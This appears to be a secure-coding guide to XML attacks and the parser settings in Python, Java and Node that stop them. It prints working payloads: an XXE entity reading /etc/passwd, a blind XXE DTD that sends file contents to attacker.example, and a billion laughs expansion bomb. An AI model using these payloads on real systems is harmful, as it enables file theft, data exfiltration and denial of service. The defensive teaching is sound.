XML security: XXE and entity expansion
How an external entity reads a local file or makes a request, billion laughs and quadratic blowup, the parser settings that stop both, and the other XML-specific limits worth setting.
External entities
<?xml version="1.0"?>
<!DOCTYPE order [
<!ENTITY secret SYSTEM "file:///etc/passwd">
]>
<order>
<note>&secret;</note>
</order>When the parser expands &secret;, it reads a local file and places its contents in the document. If the application echoes the parsed value anywhere, the file is exfiltrated. The same technique reaches internal HTTP endpoints, which turns a document parser into a server-side request forgery primitive.
<!-- blind XXE: no echo needed, the value is sent by the parser itself -->
<!DOCTYPE order [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % dtd SYSTEM "http://attacker.example/evil.dtd">
%dtd;
]>
<order>&send;</order>
<!-- evil.dtd on the attacker's server
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.example/?%file;'>">
%all;
-->Entity expansion attacks
<!-- billion laughs: ten levels of ten, a few hundred bytes becomes gigabytes -->
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<lolz>&lol4;</lolz>| Attack | Mechanism | Effect |
|---|---|---|
| Billion laughs | Nested entity definitions expand exponentially | Memory exhaustion in seconds |
| Quadratic blowup | One large entity referenced many times | Memory grows with input size squared |
| External entity (XXE) | A SYSTEM entity points at a file or URL | File disclosure or SSRF |
| Parameter entity in DTD | The DTD itself fetches a remote resource | Outbound request you did not intend |
| XInclude | An include directive pulls in another document | Same class of disclosure |
| Huge depth | Deeply nested elements with no DTD | Stack exhaustion in a recursive parser |
| XPath injection | User input concatenated into a query | Broadens the result set beyond what was intended |
The settings that fix it
# Python: defusedxml replaces the standard parsers
from defusedxml import ElementTree as DET
# DTDs, entities and XInclude are all disabled by default here
root = DET.fromstring(untrusted_xml)DocumentBuilderFactory f = DocumentBuilderFactory.newInstance();
f.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
f.setFeature("http://xml.org/sax/features/external-general-entities", false);
f.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
f.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
f.setXIncludeAware(false);
f.setExpandEntityReferences(false);// Node: expat-based parsers take an explicit DTD switch
import { XMLParser } from "fast-xml-parser";
const parser = new XMLParser({
processEntities: false, // do not expand entities
htmlEntities: false,
});
// never pass a document to a parser that can resolve external resources
// without first disabling them explicitly- Disable DOCTYPE declarations entirely wherever the content is untrusted. Most APIs never need them.
- If you must allow DTDs, disable external general and parameter entities and external DTD loading.
- Turn off XInclude unless the format genuinely uses it.
- Cap the input size before parsing, not after: a size check on the parsed tree is too late.
- Cap the nesting depth in your own recursion, in addition to any parser limit.
- Set a total entity expansion limit if the library offers one.
- Reject documents with an unexpected root element or namespace, which is cheap and stops most probes.
⚠️
Every XML parser has its own defaults and they change between versions. Verify the behaviour with a test fixture that contains a harmless external entity, and fail the test if the entity resolves — that is the only reliable way to know a library upgrade did not reopen the hole.
FAQ
Is JSON Schema vulnerable to the same attacks?
There is no entity expansion in JSON, so the classic attacks do not apply. A large or deeply nested JSON document can still exhaust memory, so size and depth limits are still required.
Does validating against an XSD prevent XXE?
No. The parser processes the DTD and entities before validation, so the damage is done while reading. Harden the parser, not just the schema.
Related
Parsing XML in code: DOM, SAX and pull parsers XML in configuration files
Last refreshed 2026-09-18.